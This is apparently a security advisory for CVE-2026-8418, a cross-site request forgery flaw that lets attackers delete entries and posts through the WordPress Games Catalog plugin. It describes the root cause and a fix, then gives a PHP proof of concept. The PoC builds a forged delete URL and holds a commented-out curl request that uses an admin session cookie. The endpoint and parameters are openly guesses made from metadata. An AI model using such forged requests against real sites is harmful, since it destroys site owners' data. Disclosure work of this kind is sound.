Atomic Edge analysis of CVE-2026-8418 (metadata-based): The Games Catalog plugin for WordPress, up to version 1.2.0, contains a Cross-Site Request Forgery (CSRF) vulnerability in the gc_crud() function. This allows unauthenticated attackers to delete arbitrary game catalog entries and their associated WordPress posts by tricking a site administrator into clicking a malicious link. The CVSS score is 4.3 (Medium).
Root Cause: The vulnerability stems from missing nonce verification on the delete action within the gc_crud() function. The function processes a GET request with action=delete but never calls wp_verify_nonce() or check_admin_referer(). This is inferred from the CWE-352 classification and the explicit description that no nonce validation exists. Without code access, Atomic Edge analysis confirms this by the specific mention of a GET request lacking security checks.
Exploitation: An attacker crafts a forged HTTP GET request to the vulnerable endpoint. The likely target is /wp-admin/admin-ajax.php with parameters action=gc_crud and action_type=delete, along with a game_id parameter identifying which entry to delete. The attacker must trick an authenticated site administrator into clicking the crafted link. No authentication or additional privileges are required from the attacker, only social engineering to make an admin perform the action.
Remediation: The plugin must add nonce verification before processing the delete action. The fix requires generating a nonce with wp_create_nonce() when rendering the deletion interface, then verifying it with wp_verify_nonce() in the gc_crud() handler. Alternatively, using check_admin_referer() would provide similar protection. Since no patched version exists, site administrators should remove or disable the plugin until a fix is available.
Impact: Successful exploitation allows an attacker to delete game catalog entries and their corresponding WordPress posts without authorization. This causes data loss and disrupts site content. The attacker cannot modify or create content, only delete existing entries. The impact is limited to integrity loss of specific game catalog data.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-8418 - Games Catalog <= 1.2.0 - Cross-Site Request Forgery to Arbitrary Game/Post Deletion
error_reporting(E_ALL);
ini_set('display_errors', 1);
// Configuration
$target_url = 'http://example.com'; // Change to the target WordPress site URL
$game_id = 1; // Game catalog entry ID to delete (must exist on target)
// Build the malicious request URL
// The vulnerable endpoint is assumed to be admin-ajax.php with specific parameters
// Based on the CVE description mentioning action=delete via GET request
$delete_url = $target_url . '/wp-admin/admin-ajax.php?action=gc_crud&action_type=delete&game_id=' . $game_id;
echo "[+] Atomic Edge CVE-2026-8418 PoCn";
echo "[+] Target: " . $target_url . "n";
echo "[+] Game ID to delete: " . $game_id . "n";
echo "[+] Generated malicious URL (requires admin click):n";
echo $delete_url . "nn";
echo "[+] Note: This PoC generates the CSRF exploit URL. An administrator must click it for exploitation to succeed.n";
echo "[+] The attacker would trick an admin into clicking this link via email or social engineering.n";
// Example: To directly test if the endpoint is vulnerable (requires admin session cookie)
// Uncomment the following block to test with a known admin session
// This is for educational purposes only
/*
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $delete_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in_xxx=admin_session_cookie_value'); // Requires valid admin session cookie
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] HTTP Response Code: " . $http_code . "n";
if($http_code == 200) {
echo "[+] Request processed (game may have been deleted)n";
} else {
echo "[-] Request failed or access deniedn";
}
*/
echo "[+] PoC complete. To create a working exploit, replace the admin session cookie with a valid one.n";
?>
